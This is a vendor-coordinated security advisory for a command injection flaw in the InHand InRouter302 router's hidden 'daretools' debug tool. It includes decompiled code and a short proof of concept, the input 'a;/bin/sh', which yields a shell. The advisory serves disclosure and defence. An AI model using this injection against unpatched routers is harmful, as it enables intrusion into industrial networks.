Talos Vulnerability Report

TALOS-2022-1478

InHand Networks InRouter302 daretools binary OS command injection vulnerability

MAY 10, 2022

CVE NUMBER

CVE-2022-26042

Summary

An OS command injection vulnerability exists in the daretools binary functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

InHand Networks InRouter302 V3.5.4

Product URLs

InRouter302 - https://www.inhandnetworks.com/products/inrouter300.html

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

Details

The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The InRouter302 offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console.

Here is the prompt after the login:

```
**********************************************
        Welcome to Router console
    Inhand
    Copyright @2001-2020, Beijing InHand Networks Co., Ltd.
    http://www.inhandnetworks.com
----------------------------------------------
Model                : IR302-WLAN
Serial Number        : RF3022141057211
Description          : www.inhandnetworks.com
Current Version      : V3.5.4
Current Bootloader Version : 1.1.3.r4955
----------------------------------------------
get help for commands
----------------------------------------------
type '?' for detail help at any point
==============================================
help           -- get help for commands
language       -- Set language
show           -- show system information
exit           -- exit current mode/console
ping           -- ping test
comredirect    -- COM redirector
telnet         -- telnet to a host
traceroute     -- trace route to a host
enable         -- turn on privileged commands
Router>
```

A low-privileged user can login into this service. The Router console contains a command, called `inhand`, that is not listed among the available functionalities. This is probably a leftover debug code. This functionality will request a password, and based on the value provided, different actions are performed.

The `inhand_functionality`:

```
undefined4 inhand_functionality(undefined4 param_1,char *password)

{
  int is_correct;
  undefined4 uVar1;
  char decrypted_password [64];
  char stack_password [68];

  if ((password == (char *)0x0) || (*password == '\0')) {
    password = stack_password;
    uVar1 = get_help_string("input_pass");
    get_pass_wrap(uVar1,password,0x40);
  }
 [...]
  is_correct = strcmp(password,<REDACTED>);
[1]
  if (is_correct == 0) {
    alarm(0);
    execl("/sbin/daretools","daretools",0);
    return 0;
  }
 [...]
}
```

This function checks, at `[1]`, if the provided password matches the hard-coded string. If so, the `/sbin/daretools` binary will be executed. The main function for the `daretools` is `daretools_function`:

```
undefined4 daretools_function(void)

{
  [...]
  input_ptr = provided_input;
  [...]
  while( true ) {
    printf("Please input test cmd: ");
    fgets(input_ptr,0x80,stdin);
    [...]
    is_new_line = strcmp(input_ptr,"\n");
    if (is_new_line != 0) {
      input_len = strlen(input_ptr);
      provided_input[input_len] = '\0';
      if ((provided_input[0] == 'a') || (provided_input[0] == 'r')) {
[2]
        puts(input_ptr);
        system(input_ptr);
[3]
      }
      else {
        [...]
      }
    }
  }
  return 0;
}
```

This function, eventually, will reach a while loop. Then it will get a line from `stdin` and perform different operations based on the value. If the provided line starts with the character `a` or `r`, checked at `[2]`, then the input line will reach the `system` function at `[3]`.

An attacker able to reach the call to `system` at `[3]` will be able to execute arbitrary code.

Exploit Proof of Concept

By using the `inhand` command and providing the correct password, the prompt will, eventually, ask for a command:

```
Router> inhand
input password:
[...]
Please input test cmd:
```

At this point if the input is something like: `a; <shell command>`, the `<shell command>` part will be executed in a shell:

```
Please input test cmd: a;/bin/sh
a;/bin/sh
/bin/sh: a: not found


BusyBox v1.26.2 (2020-10-14 18:29:02 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www #
```

Vendor Response

The vendor has updated their website and uploaded the latest firmware on it. https://inhandnetworks.com/product-security-advisories.html https://www.inhandnetworks.com/products/inrouter300.html#link4

https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf

Timeline

2022-04-06 - Vendor Disclosure
2022-05-10 - Public Release
2022-05-10 - Vendor Patch Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.
